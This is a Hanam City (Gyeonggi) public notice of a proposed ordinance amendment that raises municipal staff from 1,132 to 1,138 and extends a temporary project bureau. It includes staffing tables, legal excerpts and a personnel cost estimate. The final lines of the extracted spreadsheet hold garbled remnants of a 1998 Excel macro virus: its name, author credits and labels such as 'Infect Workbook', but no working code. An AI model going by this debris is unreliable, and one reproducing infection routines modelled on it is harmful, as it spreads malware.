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하남시기획조정과2026-10-12

「하남시 행정기구 및 정원 조례」 일부개정조례안 외 1...

게시기관하남시
지역경기
담당부서기획조정과
공고번호하남시 공고 제2026-1844호
등록일2026-10-12
게시기간2026-10-12 ~ 2026-10-19
기관 홈페이지www.hanam.go.kr
수집일시2026. 10. 12. 오후 5:51:59

공고 내용

게시기관 원문 기준
1. 「하남시 자치법규 입법에 관한 조례」 제5조에 의거 「하남시 행정기구 및 정원 조례」 일부개정조례안 및 「하남시 행정기구 및 정원 조례 시행규칙」 일부개정규칙안을 다음과 같이 입법예고 하오니, 2. 공보담당관은 시보 및 홈페이지에 게시하여 주시기 바라며, 의견이 있는 개인이나 단체(관련부서 포함)에서는 2026. 10. 19.(월)까지 의견서를 제출하여 주시기 바랍니다. 가. 예고건명: 「하남시 행정기구 및 정원 조례」 일부개정조례안 외 1건 나. 예고기간: 2026. 10. 12. ~ 2026. 10. 19. (7일간) 다. 예고방법: 시보, 홈페이지, 게시판 공고 붙임 1. 자치법규안 입법예고(하남시 행정기구 및 정원 조례 일부개정조례안) 1부. 2. [별표5] (하남시 행정기구 및 정원 조례 일부개정조례안) 1부. 3. 자치법규안 입법예고(하남시 행정기구 및 정원 조례 시행규칙 일부개정규칙안) 1부. 4. [별표2] 정원관리기관별 직급별 직렬별 정원표(시행규칙 일부개정규칙안) 1부. 5. 2027년 1월 조직개편안(요약) 1부. 끝.

(붙 임) 2027년 1월 조직개편안(요약).pdf

PDF 첨부 본문
2027년 1월 조직개편 주요 내용 [시행일 : 2027. 1. 1.字] □ 추진방향 ❍ (기구 조정) 도시개발사업 및 광역교통사업 추진을 위한 한시기구 (미래도시사업단)의 존속기한 연장 ❍ (정원 증원) 정원을 증원하여 국정과제 및 주요 현안 등 신규 행정 수요에 능동적으로 대응할 수 있는 조직 구성 □ 정원 : 증원 6명, (현행) 1,132명 ⇒ (조정) 1,138명 일반직 구 분 계 정무직 연구직 별정직 비고 4급이상 5급 6급 7급 8급 9급 당초 1,132 1 13 61 229 309 287 219 6 7 변경 1,138 1 13 61 230 313 288 219 6 7 증감 6 - - - 1 4 1 - - - 붙임 부서별 정원 조정 계획 구분 현행 조정 개정안 비 고 총 계 1,132 6 1,138 법 무 감 사 관 17 17 공 보 담 당 관 14 14 기 획 조 정 과 22 22 기 획 회 계 과 31 31 재 정 국 세 정 과 26 26 (4) 세 원 관 리 과 19 1 20 체납관리단 운영(1) 자 치 행 정 과 37 37 자 치 원스톱민원과 20 1 21 여권업무 확대(1) 행 정 국 정 보 통 신 과 20 20 (4) 체 육 진 흥 과 13 13 투 자 유 치 과 19 19 경 제 지 역 경 제 과 23 1 24 사회연대경제(1) 문 화 국 청년일자리과 13 13 (4) 문 화 정 책 과 17 17 복 지 정 책 과 28 28 복 노 인 복 지 과 18 18 지 장애인복지과 12 12 국 (5) 보 육 정 책 과 18 18 성평등가족과 15 2 17 아동학대 대응 강화(2) 도 시 정 책 과 21 21 도 시 건 축 과 25 25 주 택 국 주 택 과 20 20 (4) 토 지 정 보 과 22 22 교 통 정 책 과 22 22 교 통 건 설 과 17 17 건 설 국 도 로 관 리 과 27 27 (4) 차 량 등 록 과 18 1 19 불법 주정차 단속 강화(1) 구분 현행 조정 개정안 비 고 안 안 전 정 책 과 24 24 전 환 환 경 정 책 과 23 23 경 공 원 녹 지 과 33 33 국 (4) 식품위생농업과 30 30 도 시 전 략 과 16 16 한시 기구 광 역 교 통 과 13 13 보 건 정 책 과 28 28 보건소 건 강 증 진 과 25 25 보건 미사보건센터 21 21 지소 자 원 순 환 과 36 36 친환경 상 수 도 과 36 36 사업소 하 수 도 과 16 16 평 생 교 육 과 19 19 평생 교육원 도서관정책과 20 20 도서관운영과 26 26 의 회 사 무 국 27 27 천 현 동 9 9 신 장 1 동 9 9 신 장 2 동 19 19 덕 풍 1 동 11 11 덕 풍 2 동 13 13 동 덕 풍 3 동 17 17 (14) 미 사 1 동 21 21 미 사 2 동 22 22 미 사 3 동 13 13 감 북 동 9 9 감 일 동 16 16 위 례 동 13 13 춘 궁 동 5 5 초 이 동 8 8

(안건 1) [별표 5] 정원관리기관별 직급별 정원표(제23조 관련).hwpx

한글 첨부 본문
[별표 5] 정원관리기관별 직급별 정원표(제23조 관련) (단위: 명) 기관별 직급별 | 총계 | 본청 | 의회 사무국 | 직속 기관 | 사업소 | 읍ㆍ면ㆍ동 | 총 계 | 1,138 | 1,138 | 정무직 계 | 1 | 1 | | 시장 | 1 | 1 | 일반직 계 | 1,124 | 1,124 | | 3급 | 1 | 1 | | | | | | 4급 | 12 | 8 | 1 | 1 | 2 | | | 5급 | 61 | 33 | 2 | 6 | 6 | 14 | | 6급 이하 | 1,050 | 1,050 | 별정직 계 | 7 | 7 | | 5급상당 | 1 | 1 | | | | | 6급상당 이하 | 6 | 4 | 2 | | | | 연구직 계 | 6 | 6 | | 연구사 | 6 | 6 |

(안건 1) 자치법규안 입법예고(하남시 행정기구 및 정원 조례 일부개정조례안).hwpx

한글 첨부 본문
하남시 공고 제2026-1844호 「하남시 행정기구 및 정원 조례」를 일부개정함에 있어 개정 취지와 주요 내용을 시민에게 널리 알려 의견을 듣고자 그 개정내용을 「하남시 자치법규 입법에 관한 조례」제5조 및 제6조에 따라 다음과 같이 입법예고합니다. 2026년 10월 12일 하 남 시 장 하남시 행정기구 및 정원 조례 일부개정조례안 입법예고 1. 개정이유 ○ 국정과제 및 주요 현안 등 신규 행정수요에 효과적으로 대응하고, 성과 창출을 지원하기 위한 조직 구성 추진 ○ 2026년 국가정책 등 기준인력 배정에 따른 정원을 증원하고자 함. 2. 주요내용 가. 정원조정 : (현행) 총 정원 1,132명 ⇒ (조정) 1,138명 (증 6명) - 집행기관 : (현행) 1,105명 → (조정) 1,111명 (증 6명) 나. 한시기구인 미래도시사업단의 존속기한을 3년 연장 3. 자치법규안 : 별첨 4. 의견제출 이 조례의 개정안에 대하여 의견이 있는 단체 또는 개인은 2026년 10월 19일(월)까지 다음 사항을 기재한 의견서를 하남시장(경기도 하남시 대청로 10(기획조정과), 전화 : 031-790-5543, FAX : 031-790-6059, 전자메일 : [email protected])에게 제출하여 주시기 바랍니다. 가. 입법예고 사항에 대한 의견(찬성․반대 여부 및 그 사유) 나. 성명(단체의 경우에는 단체명과 그 대표자 성명), 주소 및 전화번호 하남시 행정기구 및 정원 조례 일부개정조례안에 대한 의견서 조 항 | 제(개) 정 안 | 의 견 | 비 고 | | | | | 2026년 10월 일 의 견 제출자 | 성 명 | | 전화번호 | | 주 소 | | 하남시 조례 제 호 하남시 행정기구 및 정원 조례 일부개정조례안 하남시 행정기구 및 정원 조례 일부를 다음과 같이 개정한다. 제21조 각 호 외의 부분 중 “1,132명이며”를 “1,138명이며”로 하고, 같은 조 제1호 중 “1,105명”을 “1,111명”으로 한다. 별표 5를 별지와 같이 한다. 부 칙 제1조(시행일) 이 조례는 2027년 1월 1일부터 시행한다. 제2조(한시기구의 존속기한) 한시기구인 미래도시사업단의 존속기한은 2029년 12월 31일까지로 한다. 부서명 | 기획조정과 | 입 안 자 | 부서장 직위ㆍ성명 | 기획조정과장 채 상 호 | 팀장 직위ㆍ성명 | 조직성과팀장 임 혜 경 | 담당자 성명ㆍ전화번호 | 김 도 원 (031-790-5543) | 신ㆍ구조문대비표 현 행 | 개 정 안 | 제21조(정원의 총수) 하남시에 두는 정원의 총수는 1,132명이며 , 다음 각 호와 같이 구분한다. | 제21조(정원의 총수) ---------------------- 1,138명이며 ------------------------. | 1. 집행기관의 정원 : 1,105명 | 1. ------------- 1,111명 | 2. 의회사무기구의 정원 : 27명 | 2. ----------------- --- | | | 참고조문대비표 현 행 | 개 정 안 | | | [별표 5] 정원관리기관별 직급별 정원 (제23조 관련) 기관별 직급별 | 총계 | 본청 | 의회 사무국 | 직속 기관 | 사업소 | 읍ㆍ면ㆍ동 | 총 계 | 1,132 | 1,132 | 정무직 계 | 1 | 1 | | 시장 | 1 | 1 | 일반직 계 | 1,118 | 1,118 | | 3급 | 1 | 1 | | | | | | 4급 | 12 | 8 | 1 | 1 | 2 | | | 5급 | 61 | 33 | 2 | 6 | 6 | 14 | | 6급 이하 | 1,044 | 1,044 | 별정직 계 | 7 | 7 | | 5급상당 | 1 | 1 | | | | | 6급상당 이하 | 6 | 4 | 2 | | | | 연구직 계 | 6 | 6 | | 연구사 | 6 | 6 | [별표 5] 정원관리기관별 직급별 정원 (제23조 관련) 기관별 직급별 | 총계 | 본청 | 의회 사무국 | 직속 기관 | 사업소 | 읍ㆍ면ㆍ동 | 총 계 | 1,138 | 1,138 | 정무직 계 | --- | --- | | 시장 | --- | --- | 일반직 계 | 1,124 | 1,124 | | 3급 | --- | --- | | | | | | 4급 | --- | --- | --- | --- | --- | | | 5급 | --- | --- | --- | --- | --- | --- | | 6급 이하 | 1,050 | 1,050 | 별정직 계 | --- | --- | | 5급상당 | --- | --- | | | | | 6급상당 이하 | --- | --- | --- | | | | 연구직 계 | --- | --- | | 연구사 | --- | --- | [별표 5] 정원관리기관별 직급별 정원표(제23조 관련) (단위: 명) 기관별 직급별 | 총계 | 본청 | 의회 사무국 | 직속 기관 | 사업소 | 읍ㆍ면ㆍ동 | 총 계 | 1,138 | 1,138 | 정무직 계 | 1 | 1 | | 시장 | 1 | 1 | 일반직 계 | 1,124 | 1,124 | | 3급 | 1 | 1 | | | | | | 4급 | 12 | 8 | 1 | 1 | 2 | | | 5급 | 61 | 33 | 2 | 6 | 6 | 14 | | 6급 이하 | 1,050 | 1,050 | 별정직 계 | 7 | 7 | | 5급상당 | 1 | 1 | | | | | 6급상당 이하 | 6 | 4 | 2 | | | | 연구직 계 | 6 | 6 | | 연구사 | 6 | 6 | | | 관계법령 발췌서 | 지방자치법 제125조(행정기구와 공무원) ① 지방자치단체는 그 사무를 분장하기 위하여 필요한 행정기구와 지방공무원을 둔다. ② 제1항에 따른 행정기구의 설치와 지방공무원의 정원은 인건비 등 대통령령으로 정하는 기준에 따라 그 지방자치단체의 조례로 정한다. ③ 행정안전부장관은 지방자치단체의 행정기구와 지방공무원의 정원이 적절하게 운영되고 다른 지방자치단체와의 균형이 유지되도록 하기 위하여 필요한 사항을 권고할 수 있다. ④ 지방공무원의 임용과 시험ㆍ자격ㆍ보수ㆍ복무ㆍ신분보장ㆍ징계ㆍ교육ㆍ훈련 등에 관한 사항은 따로 법률로 정한다. ⑤ 지방자치단체에는 제1항에도 불구하고 법률로 정하는 바에 따라 국가공무원을 둘 수 있다. ⑥ 제5항에 규정된 국가공무원의 경우 「국가공무원법」 제32조제1항부터 제3항까지의 규정에도 불구하고 5급 이상의 국가공무원이나 고위공무원단에 속하는 공무원은 해당 지방자치단체의 장의 제청으로 소속 장관을 거쳐 대통령이 임명하고, 6급 이하의 국가공무원은 그 지방자치단체의 장의 제청으로 소속 장관이 임명한다. 제126조(직속기관) 지방자치단체는 소관 사무의 범위에서 필요하면 대통령령이나 대통령령으로 정하는 범위에서 그 지방자치단체의 조례로 자치경찰기관(제주특별자치도만 해당한다), 소방기관, 교육훈련기관, 보건진료기관, 시험연구기관 및 중소기업지도기관 등을 직속기관으로 설치할 수 있다. 제127조(사업소) 지방자치단체는 특정 업무를 효율적으로 수행하기 위하여 필요하면 대통령령으로 정하는 범위에서 그 지방자치단체의 조례로 사업소를 설치할 수 있다. 지방자치단체의 행정기구와 정원기준 등에 관한 규정 제8조(한시기구의 설치운영) ① 지방자치단체의 장은 긴급히 발생하는 한시적 행정수요에 대처하거나 일정기간 후에 끝나는 사업을 수행하기 위하여 부득이한 경우에는 한시기구를 설치ㆍ운영할 수 있다. 이 경우 한시기구 설치시에는 기존의 인력을 최대한 활용하여야 한다. ② 본청에 한시기구를 설치할 경우에는 기존의 보조기관과 담당관으로는 그 목적을 달성할 수 없을 정도의 업무의 중요성과 업무량이 있어야 한다. ③ 한시기구를 설치하는 경우에는 최소한 1년 이상의 업무량이 있어야 한다. ④ 한시기구의 존속기한은 3년의 범위에서 그 지방자치단체의 조례로 정한다. ⑤ 한시기구의 존속기한의 연장은 사업추진의 지연 등 불가피한 사유가 있는 경우를 제외하고는 1회에 한한다. 제13조(시ㆍ군ㆍ구의 기구설치기준) ① 시ㆍ군ㆍ구 본청의 실ㆍ국이나 과ㆍ담당관과 자치구가 아닌 구의 과ㆍ담당관의 설치에 관한 사항은 해당 지방자치단체의 조례로 정하되, 인구 30만명 이상인 시ㆍ군ㆍ구는 「공공감사에 관한 법률」 제5조에 따른 자체감사기구를 두어야 한다. ② 시ㆍ군ㆍ구 본청의 실장ㆍ국장과 과장ㆍ담당관의 직급과 실ㆍ과ㆍ담당관의 사무분장 등에 관한 사항은 해당 지방자치단체의 규칙으로 정한다. ③ 특별시장ㆍ통합특별시장ㆍ광역시장ㆍ도지사ㆍ특별자치도지사(제주특별자치도지사는 제외한다)는 관할 시ㆍ군ㆍ구 조직간의 균형을 유지하기 위하여 기구의 설치ㆍ운영에 관한 지침을 작성하여 시장ㆍ군수ㆍ구청장에게 통보할 수 있다. ④ 시장ㆍ군수ㆍ구청장은 실ㆍ국과 실ㆍ과ㆍ담당관의 명칭과 사무분장을 시ㆍ도와 시ㆍ군ㆍ구간 사무의 연계성과 그 기능을 고려하여 합리적으로 정하여야 한다. 제30조(정원의 규정) ① 지방자치단체에 두는 지방공무원 정원의 총수는 다음 각 호의 구분에 따라 해당 지방자치단체의 조례로 정한다. 1. 집행기관의 정원(제3호에 따른 공무원의 정원은 제외한다) 2. 삭제 <2020. 3. 10.> 3. 지방공립대학에 두는 교육공무원의 정원 4. 의회사무기구의 정원 5. 합의제행정기관의 정원 ② 지방공무원의 직급별 정원[「지방전문경력관 규정」 제2조에 따른 지방전문경력관(이하“지방전문경력관”이라 한다)의 정원을 포함한다]은 제1항에 따른 정원의 총수 범위에서 제22조제2항에 따른 정원관리기관별로 해당 지방자치단체의 조례로 정한다. 다만, 시ㆍ도의 5급 이하(시ㆍ군ㆍ구는 6급 이하) 직급별 정원과 지방전문경력관의 정원은 조례로 그 총수만 정하고 그 범위에서 제22조제2항에 따른 정원의 관리기관별로 해당 지방자치단체의 규칙으로 정한다. ③ 지방공무원의 직렬별 정원(지방전문경력관의 경우에는 「지방전문경력관 규정」 제4조제1항에 따른 직위군별 정원을 말한다)은 제1항에 따른 정원의 총수 범위에서 제22조제2항에 따른 정원관리기관별로 해당 지방자치단체의 규칙으로 정한다. ④ 지방자치단체의 장과 지방의회의 의장은 제2항에 따른 정원의 범위에서 공무원을 임용하거나 임용제청하여야 한다. 다만, 상위직급에 결원이 있을 경우에는 그 결원의 범위에서 동일 직렬의 직근 하위직급을 임용하거나 임용제청할 수 있다. ⑤ 「지방공무원법」에 따른 겸임의 경우에는 제4항을 적용하지 아니한다. 비 용 추 계 서 | 1. 비용 발생 요인 및 관련조문 가. 자치법규안명 및 관련조문 ❍ 하남시 행정기구 및 정원 조례 일부개정조례안 제21조 나. 비용 발생 요인 ❍ 하남시 지방공무원 정원 증가(6명 증원)에 따른 인건비 추가 소요 ※ 기준인력 정원 증원에 따른 직급별 정원 조정 2. 비용 추계결과 가. 추계의 전제 ❍ 추계 기간은 2027년부터 2031년까지 5년으로 한다. ❍ 최근 3년간 평균 공무원 보수 인상률(3.0%) 적용 ❍ 2026년 하남시 예산서 인건비 기준 작성으로 실제 소요 비용과 다를 수 있음. 나. 추계결과 ❍ 인건비 증가내역 - 증원 직급별 단가 (단위: 천원) 구 분 | 총 계 | 4급 | 5급 | 6급 | 7급 | 8급 | 9급 | 비고 | 정 원 | 6 | - | - | 1 | 4 | 1 | - | | 인건비 (직급별) | 305,808 | - | 88,241 | 69,043 | 49,203 | 39,953 | 34,039 | | 증가액 | - | - | 69,043 | 196,812 | 39,953 | - | | ※ 기준인력 정원 증원에 따라 2026년 인건비 기준 직급별 비용추계서 작성, 잠정 추계로 직급·직렬별 변동 가능 - 연도별 소요인건비 추계 (단위: 천원) 구 분 | 2027년 | 2028년 | 2029년 | 2030년 | 2031년 | 계 | 총 소요액 | 305,808 | 314,982 | 324,432 | 334,165 | 344,190 | 1,623,577 | 인건비 | 소 계 | 305,808 | 314,982 | 324,432 | 334,165 | 344,190 | 1,623,577 | 시 비 | 305,808 | 314,982 | 324,432 | 334,165 | 344,190 | 1,623,577 | 국고 보조금 | - | - | - | - | - | - | ※ 공무원 인건비 인상·동결 등 감안하여 연 3% 인상 기준으로 작성 3. 제도개선 등 기타사항 : 해당없음 4. 작성자 : 기획조정과장 채상호

(안건 2) (별표 2) 정원관리기관별 직급별 직렬별 정원표(제17조제1항 관련).xlsx

엑셀 첨부 본문
[별표 2] | | | | | | 정원관리기관별·직급별·직렬별 정원표 (제17조 관련) | | | | | | 기관별 직렬별 | 총계 | 본청 | 의회 사무과 | 직속기관 | 사업소 | 읍면동 총 계 | 1019 | 647 | 17 | 88 | 82 | 185 정 무 직 계 | 1 | 1 | | | | 시 장 | 1 | 1 | | | | 일 반 직 계 | 1011 | 639 | 17 | 88 | 82 | 185 3급 소계 | 1 | 1 | | | | 부이사관 | 1 | 1 | | | | 4급 소계 | 9 | 7 | 0 | 1 | 1 | 0 행정 | 2 | 2 | | | | 기술 | 1 | | | 1 | | 행정·기술 | 6 | 5 | | | 1 | 5급 소계 | 59 | 32 | 3 | 7 | 3 | 14 행정 | 9 | 9 | 0 | 0 | 0 | 0 의무 | 4 | 0 | 0 | 4 | 0 | 0 시설 | 1 | 1 | 0 | 0 | 0 | 0 행정·사회복지 | 2 | 2 | 0 | 0 | 0 | 0 행정·사서 | 1 | 1 | 0 | 0 | | 0 행정·공업 | 2 | 2 | 0 | 0 | 0 | 0 행정·농업 | 1 | 1 | | | | 행정·시설 | 9 | 5 | 2 | 0 | 1 | 1 행정·방송통신 | 1 | 1 | 0 | 0 | 0 | 0 행정·사회복지·녹지 | 1 | 0 | 0 | 0 | 0 | 1 행정·사회복지·시설 | 1 | | | | | 1 행정·사서·시설 | 1 | 1 | | | | 행정·공업·녹지 | 2 | 0 | 0 | 0 | 0 | 2 행정·공업·환경 | 2 | 1 | 0 | 0 | 1 | 0 행정·공업·시설 | 4 | 3 | 0 | 0 | 1 | 0 행정·농업·시설 | 2 | 0 | 0 | 0 | 0 | 2 행정·녹지·시설 | 3 | 2 | 1 | 0 | 0 | 0 행정·보건·식품위생 | 1 | 1 | | | | 행정·약무·시설 | 1 | 0 | 0 | 0 | 0 | 1 행정·환경·시설 | 1 | 1 | 0 | 0 | 0 | 0 행정·사회복지·녹지·시설 | 1 | 0 | 0 | 0 | 0 | 1 행정·사회복지·보건·간호 | 1 | 1 | 0 | 0 | 0 | 0 행정·사회복지·간호·시설 | 1 | 0 | 0 | 0 | 0 | 1 행정·사회복지·환경·시설 | 2 | 0 | 0 | 0 | 0 | 2 행정·사회복지·시설·방송통신 | 1 | 0 | 0 | 0 | 0 | 1 행정·공업·보건·의료기술 | 1 | 0 | 0 | 0 | 0 | 1 행정·보건·약무·간호 | 1 | 0 | 0 | 1 | 0 | 0 보건·의료기술·약무·간호 | 1 | | | 1 | | 보건·의무·약무·간호 | 1 | 0 | 0 | 1 | 0 | 0 6급 소계 | 205 | 143 | 3 | 13 | 17 | 29 행정 | 36 | 34 | 1 | 0 | 1 | 0 세무 | 5 | 5 | 0 | 0 | 0 | 0 사회복지 | 1 | 1 | 0 | 0 | 0 | 0 공업 | 1 | 1 | 0 | 0 | 0 | 0 녹지 | 3 | 3 | 0 | 0 | 0 | 0 시설 | 16 | 16 | 0 | 0 | | 0 방송통신 | 1 | 1 | 0 | 0 | 0 | 0 운전 | 5 | 2 | | 0 | 3 | 0 행정·세무 | 11 | 7 | 0 | 0 | 1 | 3 행정·전산 | 4 | 4 | 0 | 0 | 0 | 행정·사회복지 | 22 | 9 | 0 | 0 | 0 | 13 행정·사서 | 6 | 6 | 0 | 0 | | 0 행정·공업 | 7 | 7 | 0 | 0 | 0 | 행정·농업 | 5 | 3 | 0 | 0 | 0 | 2 행정·녹지 | 2 | 0 | 0 | 0 | 0 | 2 행정·보건 | 1 | 0 | 0 | 1 | 0 | 0 행정·환경 | 2 | 1 | 0 | 0 | 1 | 0 행정·시설 | 22 | 18 | 1 | 0 | 3 | 행정·사무운영 | 1 | 1 | 0 | 0 | 0 | 0 공업·환경 | 5 | 2 | 0 | 0 | 3 | 0 공업·전기운영 | 1 | 1 | | | | 녹지·시설 | 1 | 1 | | | | 약무·간호 | 1 | 0 | 0 | 1 | 0 | 0 환경·시설 | 1 | | | | 1 | 시설·방송통신 | 1 | 1 | 0 | 0 | 0 | 0 기계운영·운전 | 3 | 2 | 1 | | | 행정·전산·공업 | 1 | | | | | 1 행정·전산·시설 | 3 | | | | | 3 행정·전산·방송통신 | 1 | | | | | 1 행정·사회복지·보건 | 2 | 1 | 0 | 0 | 0 | 1 행정·사회복지·간호 | 2 | 1 | 0 | 0 | 0 | 1 행정·공업·환경 | 2 | 2 | | | | 행정·공업·시설 | 4 | 2 | 0 | 0 | 1 | 1 행정·농업·녹지 | 1 | | | | | 1 행정·녹지·시설 | 2 | 2 | 0 | 0 | 0 | 0 행정·보건·식품위생 | 3 | 3 | 0 | 0 | 0 | 0 행정·보건·시설 | 1 | | | 1 | | 전산·시설·방송통신 | 1 | 1 | | | | 보건·의료기술·간호 | 9 | 0 | 0 | 9 | 0 | 0 의료기술·약무·간호 | 1 | | | 1 | | 위생·시설관리·사무운영 | 3 | 2 | | 0 | 1 | 0 전기운영·기계운영·열관리운영 | 2 | 1 | | | 1 | 전기운영·기계운영·열관리운영·운전 | 3 | 2 | 0 | 0 | 1 | 0 7급 소계 | 238 | 150 | 4 | 15 | 27 | 42 행정 | 48 | 33 | 0 | 0 | 4 | 11 전산 | 3 | 3 | 0 | 0 | 0 | 0 사회복지 | 11 | 8 | 0 | 0 | 0 | 3 공업 | 5 | 0 | 0 | 0 | 5 | 0 녹지 | 2 | 2 | 0 | 0 | 0 | 0 수의 | 2 | 2 | 0 | 0 | 0 | 0 간호 | 1 | | | 1 | | 환경 | 1 | 1 | 0 | 0 | 0 | 0 시설 | 22 | 20 | 0 | 0 | 2 | 0 운전 | 9 | 1 | 1 | 1 | 5 | 1 전기운영 | 1 | 1 | 0 | 0 | 0 | 0 기계운영 | 2 | 2 | 0 | 0 | 0 | 0 열관리운영 | 2 | 2 | 0 | 0 | 0 | 0 행정·세무 | 9 | 8 | 0 | 0 | 0 | 1 행정·사회복지 | 17 | 6 | 0 | 0 | 0 | 11 행정·사서 | 7 | 7 | 0 | 0 | | 0 행정·속기 | 3 | 0 | 3 | 0 | 0 | 0 행정·공업 | 9 | 8 | 0 | 0 | 1 | 0 행정·농업 | 6 | 3 | 0 | 0 | 0 | 3 행정·녹지 | 3 | 2 | 0 | 0 | 0 | 1 행정·보건 | 2 | 0 | 0 | 1 | 0 | 1 행정·환경 | 2 | 1 | 0 | 0 | 1 | 0 행정·시설 | 24 | 16 | 0 | 0 | 0 | 8 행정·방재안전 | 2 | 2 | 0 | 0 | 0 | 0 행정·사무운영 | 1 | 1 | 0 | 0 | 0 | 0 세무·전산 | 1 | 1 | 0 | 0 | 0 | 0 전산·사서 | 1 | 1 | 0 | 0 | | 0 전산·방송통신 | 1 | 1 | 0 | 0 | 0 | 0 공업·환경 | 6 | 5 | 0 | 0 | 1 | 0 공업·시설 | 2 | 2 | 0 | 0 | | 0 녹지·시설 | 1 | 1 | | | | 보건·식품위생 | 1 | 1 | 0 | 0 | 0 | 0 시설·방송통신 | 2 | 2 | 0 | 0 | 0 | 0 위생·시설 | 1 | 0 | 0 | 0 | 1 | 0 행정·전산·방송통신 | 1 | 1 | 0 | 0 | 0 | 0 행정·공업·환경 | 2 | 2 | 0 | 0 | 0 | 0 행정·보건·시설 | 1 | | | 1 | | 공업·환경·시설 | 2 | 0 | 0 | 0 | 2 | 0 보건·의료기술·간호 | 9 | 0 | 0 | 9 | 0 | 0 위생·시설관리·사무운영 | 8 | 2 | 0 | 0 | 4 | 2 행정·사회복지·보건·간호 | 1 | 1 | 0 | 0 | 0 | 0 보건·식품위생·의료기술·간호 | 2 | 0 | 0 | 2 | 0 | 0 전기운영·기계운영·열관리운영·운전 | 2 | 1 | 0 | 0 | 1 | 0 8급 소계 | 259 | 159 | 2 | 37 | 21 | 40 행정 | 47 | 35 | 0 | 0 | 2 | 10 세무 | 4 | 4 | 0 | 0 | 0 | 0 전산 | 1 | 1 | | | | 사회복지 | 14 | 6 | 0 | 1 | 0 | 7 사서 | 2 | 2 | 0 | 0 | | 0 공업 | 2 | 1 | 0 | 0 | 1 | 0 녹지 | 1 | 1 | 0 | 0 | 0 | 0 간호 | 4 | | | 4 | | 환경 | 1 | 1 | 0 | 0 | 0 | 0 시설 | 22 | 19 | 0 | 0 | 3 | 0 방재안전 | 1 | 1 | 0 | 0 | 0 | 0 운전 | 23 | 6 | 0 | 0 | 10 | 7 행정·세무 | 8 | 8 | 0 | 0 | 0 | 0 행정·전산 | 2 | 1 | 0 | 0 | 0 | 1 행정·사회복지 | 21 | 11 | 0 | 0 | 0 | 10 행정·사서 | 5 | 5 | 0 | 0 | | 0 행정·속기 | 2 | 0 | 2 | 0 | 0 | 0 행정·공업 | 7 | 6 | 0 | 0 | 0 | 1 행정·농업 | 4 | 3 | 0 | 0 | 0 | 1 행정·보건 | 1 | 0 | 0 | 0 | 0 | 1 행정·환경 | 2 | 1 | 0 | 0 | 1 | 0 행정·시설 | 22 | 19 | 0 | 0 | 1 | 2 행정·방재안전 | 1 | 1 | | | | 전산·시설 | 2 | 2 | | | | 전산·방송통신 | 2 | 2 | 0 | 0 | 0 | 0 공업·녹지 | 2 | 2 | 0 | 0 | 0 | 0 공업·환경 | 8 | 6 | 0 | 0 | 2 | 0 녹지·시설 | 5 | 5 | 0 | 0 | 0 | 0 보건·식품위생 | 3 | 3 | 0 | 0 | 0 | 0 의료기술·간호 | 1 | | | 1 | | 시설·방송통신 | 1 | 1 | 0 | 0 | 0 | 0 시설관리·사무운영 | 1 | 1 | | | | 행정·사회복지·간호 | 1 | 1 | 0 | 0 | 0 | 0 행정·사회복지·사무운영 | 1 | 1 | | | | 행정·공업·보건 | 1 | | | 1 | | 행정·공업·환경 | 2 | 1 | 0 | 0 | 1 | 0 행정·보건·시설 | 1 | | | 1 | | 전산·시설·방송통신 | 1 | 1 | | | | 보건·의료기술·간호 | 29 | 0 | 0 | 29 | 0 | 0 위생·시설관리·사무운영 | 1 | 1 | 0 | 0 | | 0 9급 소계 | 240 | 147 | 5 | 15 | 13 | 60 행정 | 65 | 26 | 1 | 0 | 1 | 37 전산 | 2 | 2 | 0 | 0 | 0 | 0 사회복지 | 8 | 0 | 0 | 0 | 0 | 8 공업 | 2 | 0 | 0 | 0 | 2 | 0 환경 | 1 | 1 | 0 | 0 | 0 | 0 시설 | 22 | 16 | 0 | 0 | 6 | 0 방송통신 | 1 | 1 | 0 | 0 | | 0 행정·세무 | 15 | 15 | 0 | 0 | 0 | 0 행정·사회복지 | 24 | 12 | 0 | 0 | 0 | 12 행정·사서 | 10 | 10 | 0 | 0 | | 0 행정·속기 | 4 | 0 | 4 | 0 | 0 | 0 행정·공업 | 8 | 7 | 0 | 0 | 1 | 0 행정·농업 | 4 | 3 | 0 | 0 | 0 | 1 행정·보건 | 3 | | | 3 | | 행정·시설 | 29 | 28 | 0 | | 0 | 1 전산·시설 | 1 | 1 | | | | 전산·방송통신 | 2 | 2 | 0 | 0 | 0 | 0 공업·시설 | 3 | 3 | | | | 공업·환경 | 6 | 3 | | | 3 | 녹지·시설 | 3 | 3 | 0 | 0 | 0 | 0 보건·식품위생 | 3 | 3 | 0 | 0 | 0 | 0 보건·의료기술 | 10 | 0 | 0 | 10 | 0 | 0 시설·방재안전 | 2 | 2 | 0 | 0 | 0 | 0 기계운영·운전 | 1 | | | | | 1 행정·사회복지·보건 | 1 | 1 | | | | 행정·공업·시설 | 1 | 1 | 0 | 0 | 0 | 0 행정·보건·식품위생 | 1 | 1 | | | | 행정·보건·의료기술 | 2 | | | 2 | | 행정·시설·방재안전 | 4 | 4 | | | | 전산·시설·방송통신 | 2 | 2 | | | | 별 정 직 계 | 3 | 3 | | | | 5급 상당 소 계 | 1 | 1 | | | | 비서 | 1 | 1 | | | | 7 급 상당 소 계 | 1 | 1 | | | | 비서 | 1 | 1 | | | | 8 급 상당 소 계 | 1 | 1 | | | | 비서 | 1 | 1 | | | | 연 구 직 계 | 4 | 4 | | | | 연 구 사 소 계 | 4 | 4 | | | | 기록, 녹지, 학예 | 4 | 4 | | | | 정원규칙(별표).xls | 0 Book1 C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. | **Auto and On Sheet Starts Here** #N/A | 0 #NAME? #N/A Classic.Poppy by VicodinES | #NAME? With Lord Natas | #NAME? An Excel Formula Macro Virus (XF.Classic) | #NAME? Hydrocodone/APAP 10-650 For Your Computer | 0 (C) The Narkotic Network 1998 | 0 0 0 **Simple Payload** | #NAME? 0 0 #NAME? | **Set Our Values and Paths** #NAME? #NAME? **Add New Workbook, Infect It, Save It As Book1.xls** | #NAME? #NAME? | #NAME? #NAME? | #NAME? #N/A | #NAME? #NAME? #NAME? 0 | **Infect Workbook** 0 | 0 0 | #NAME? 0 | #N/A 0 | #NAME? 0 | #NAME? 0 | 0 0 | 0 0 | 0 0 | #NAME? 0 | #NAME? 0 0 0 | #NAME? 0 | 0 #NAME? | #NAME? 정원규칙(별표).xls | 0 Book1 C:\Program Files\Microsoft Office\OFFICE11\xlstart\Book1. | **Auto and On Sheet Starts Here** 3 | 0 #NAME? #N/A Classic.Poppy by VicodinES | #NAME? With Lord Natas | #NAME? An Excel Formula Macro Virus (XF.Classic) | #NAME? Hydrocodone/APAP 10-650 For Your Computer | 0 (C) The Narkotic Network 1998 | 